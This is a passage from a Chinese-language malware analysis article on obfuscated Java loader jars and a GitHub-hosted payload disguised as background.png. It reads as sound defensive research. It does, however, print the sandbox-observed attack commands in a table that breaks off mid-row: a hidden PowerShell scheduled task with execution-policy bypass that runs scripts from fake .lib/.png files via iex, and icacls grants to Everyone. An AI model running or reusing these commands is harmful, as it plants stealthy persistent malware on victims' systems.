  <p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;visibility: visible;" data-pm-slice="0 0 []"><blockquote style="margin: 20px 0px;padding: 10px 10px 10px 20px;outline: 0px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-radius: 0px;background: no-repeat rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="margin: 0px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0em;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0em;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px;padding: 0px 10px;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;color: rgb(0, 0, 0);line-height: 1.5em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">基本信息</span></span></h2><p data-tool="mdnice编辑器" style="margin: 0px;padding: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: left top no-repeat rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">文件名称</span></p></th><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: left top no-repeat rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">文件类型</span></p></th><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: left top no-repeat rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">MD5</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;text-align: left;"><p><span leaf="">groaxbaba.jar</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;text-align: left;"><p><span leaf="">jar</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;text-align: left;"><p><span leaf="">1db57b053ffcf1ee4e918cfd53c4d39c</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;text-align: left;"><p><span leaf="">java.jar</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;text-align: left;"><p><span leaf="">jar</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;text-align: left;"><p><span leaf="">a02a46893b9d79fef8e4488ec8d28a23</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;text-align: left;"><p><span leaf="">m_lock.jar</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;text-align: left;"><p><span leaf="">jar</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;text-align: left;"><p><span leaf="">7d010a082b9ce26d22d5e290481b149b</span></p></td></tr></tbody></table></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">初始样本分析</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">以m_lock.jar为例，jadx打开，包含两个类Loader和RNvoMFSa，类Loader包含混淆。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.29814814814814816" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030536" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=60627b18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2NK5ARsDTicgeoEz1ZyWlmjib8ib9jkvXVuvQ3p029taMDcMunhpP1P0CIWxMevCibWwA1Nno5c54qk5gWo4sdM4GnYOoCIV3Y52lA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">类RNvoMFSa是用于辅助字符串解密，通过SHA-256哈希调用类名与硬编码盐值派生16字节AES密钥，使用AES/ECB/PKCS5Padding模式解密Base64编码的密文以还原明文字符串。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.45740740740740743" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030537" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=e3bd3da4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2PMTcblXueE03WgmK3iagcM3H7ib56MjymFdWdIjkbKAfl15BnT8Z4eoh5gAVkW2jhndWpBl3sy1THxF3SqN1icl4BFbl2X8ykJV0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">通过JADX-MCP，分析总结并生成执行时序图：</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">Loader 类是Stringer混淆器生成的自定义类加载器，在JVM启动时通过多层加密解密、完整性校验和内存缓存机制，从加密资源中动态加载受保护的业务类，同时通过反射劫持程序入口以实现代码隐藏和防篡改保护。</span></strong></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="1.5842592592592593" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030538" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=03ca14ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2Mz1yakKv8RmXTCrVbTibPZDvxibGDQMTXURbicALLcUtYVM4na1O05zN5Y90sXGKibQpDY0l7EoBwlGaWD15xvwQ7luaPfuK9UHKM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">托管样本分析</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">从沙箱报告（<a href="https://www.joesandbox.com/analysis/1879815/0/html）中发现其访问了一个GitHub" target="_blank">https://www.joesandbox.com/analysis/1879815/0/html）中发现其访问了一个GitHub</a> Release资源下载链接。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.15555555555555556" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030539" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d0430a16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2PQlk9kVVsuOCYcv37IqTzJxMX9SnOhtCRFe3YicicP5XFStx5euaxEkHMMzLx1a0AKKDmWdTJCwg30OQREtqBibxnyG9yK5sQs3k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">使用仓库ID反查curl <a href="https://api.github.com/repositories/1122038145，主要结果如下，仓库全名为nonamebaba/0，所有者为nonamebaba" target="_blank">https://api.github.com/repositories/1122038145，主要结果如下，仓库全名为nonamebaba/0，所有者为nonamebaba</a></span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;id&#34;</span></span><span leaf="">: 1122038145,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;node_id&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;R_kgDOQuDxgQ&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;name&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;full_name&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;nonamebaba/0&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;private&#34;</span></span><span leaf="">: </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">false</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;owner&#34;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;login&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;nonamebaba&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;id&#34;</span></span><span leaf="">: 250884748,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;node_id&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;U_kgDODvQyjA&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;avatar_url&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="https://avatars.githubusercontent.com/u/250884748?v=4" target="_blank">https://avatars.githubusercontent.com/u/250884748?v=4</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;gravatar_id&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;url&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="https://api.github.com/users/nonamebaba" target="_blank">https://api.github.com/users/nonamebaba</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;html_url&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="https://github.com/nonamebaba" target="_blank">https://github.com/nonamebaba</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;followers_url&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="https://api.github.com/users/nonamebaba/followers" target="_blank">https://api.github.com/users/nonamebaba/followers</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;following_url&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="https://api.github.com/users/nonamebaba/following{/other_user}" target="_blank">https://api.github.com/users/nonamebaba/following{/other_user}</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;gists_url&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="https://api.github.com/users/nonamebaba/gists{/gist_id}" target="_blank">https://api.github.com/users/nonamebaba/gists{/gist_id}</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;starred_url&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="https://api.github.com/users/nonamebaba/starred{/owner}{/repo}" target="_blank">https://api.github.com/users/nonamebaba/starred{/owner}{/repo}</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;subscriptions_url&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="https://api.github.com/users/nonamebaba/subscriptions" target="_blank">https://api.github.com/users/nonamebaba/subscriptions</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;organizations_url&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="https://api.github.com/users/nonamebaba/orgs" target="_blank">https://api.github.com/users/nonamebaba/orgs</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;repos_url&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="https://api.github.com/users/nonamebaba/repos" target="_blank">https://api.github.com/users/nonamebaba/repos</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;events_url&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="https://api.github.com/users/nonamebaba/events{/privacy}" target="_blank">https://api.github.com/users/nonamebaba/events{/privacy}</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;received_events_url&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="https://api.github.com/users/nonamebaba/received_events" target="_blank">https://api.github.com/users/nonamebaba/received_events</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;User&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;user_view_type&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;public&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;site_admin&#34;</span></span><span leaf="">: </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">false</span></span><span leaf=""><br/></span><span leaf="">  },</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">查看这个仓库，内容如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.6648148148148149" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030540" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=7c39e88f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2NOsKrABI1ticWmqAkJ3iaqKpCsS0ibiaeyCH4oGGxBAGibvlB8vA8VXAlGML0TibMh8IdlGT0j9Q1ZPgnzN0Gu5scggYTFpEJr69lc8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">background.png（MD5：716db862baf0de7d01fa2a145f0cffc5）实际为Jar包，包含同样的混淆。上传沙箱，查看沙箱分析报告<a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=1b0e80712d2a508976fcfc5312395c46&amp;sk=88995683，这个Jar文件依旧是个Loader，其通过" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=1b0e80712d2a508976fcfc5312395c46&amp;sk=88995683，这个Jar文件依旧是个Loader，其通过</a> </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">PowerShell 从伪装文件（.png/.lib）读取脚本执行，并创建计划任务实现开机及定时持久化运行</span></strong><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="margin: 0px;padding: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: left top no-repeat rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">命令</span></p></th><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: left top no-repeat rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">含义</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">schtasks /query /TN &#34;netspi-user&#34; /FO LIST /V</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">查询名为 netspi-user的计划任务，/FO LIST 使用列表格式输出，/V 显示详细信息。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">icacls.exe C:\ProgramData\Oracle\Java.oracle_jre_usage /grant &#34;everyone&#34;:(OI)(CI)M</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">修改目录权限。给 Everyone 赋予 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">Modify</span></strong><span leaf="">权限，(OI)(CI) 表示对子目录和文件继承。通常用于确保恶意文件可写。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">taskkill /F /IM powershell.exe /T</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">强制结束 powershell.exe 进程。/F 强制终止，/T 同时终止子进程。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">schtasks /Create /TN &#34;netspi-user&#34; /TR &#34;powershell -w hidden -nop -noni -exec bypass -c Get-Content -Path C:\Users\Public\Libraries\library.lib | iex&#34; /RU &#34;lichao&#34; /SC ONSTART /F</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">创建计划任务 netspi-user。开机执行 PowerShell。脚本内容从 library.lib 读取并通过 Invoke-Expression 执行，实现持久化。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">powershell.exe -w hidden -nop -noni -exec bypass -c Get-Content -Path C:\Users\Public\AccountPictures\picture.png | iex</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">隐藏窗口执行 PowerShell。读取 picture.png 文件内容并直接执行。文件名伪装为图片，实际可能是脚本。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">icacls.exe C:\ProgramData\Oracle\Java.oracle_jre_usage\3646bcd7961b.timestamp /grant &#34;everyone&#34;:(OI)(CI)M</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">修改某个 timestamp 文件权限，允许所有用户修改。通常用于隐藏或持久化数据。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">powershell.exe -w hidden -nop -noni -exec bypass -c Get-Content -Path C:\Users\Public\Libraries\library.lib | iex</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">从 library.lib 读取脚本并执行。该文件可能是 PowerShell payload。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 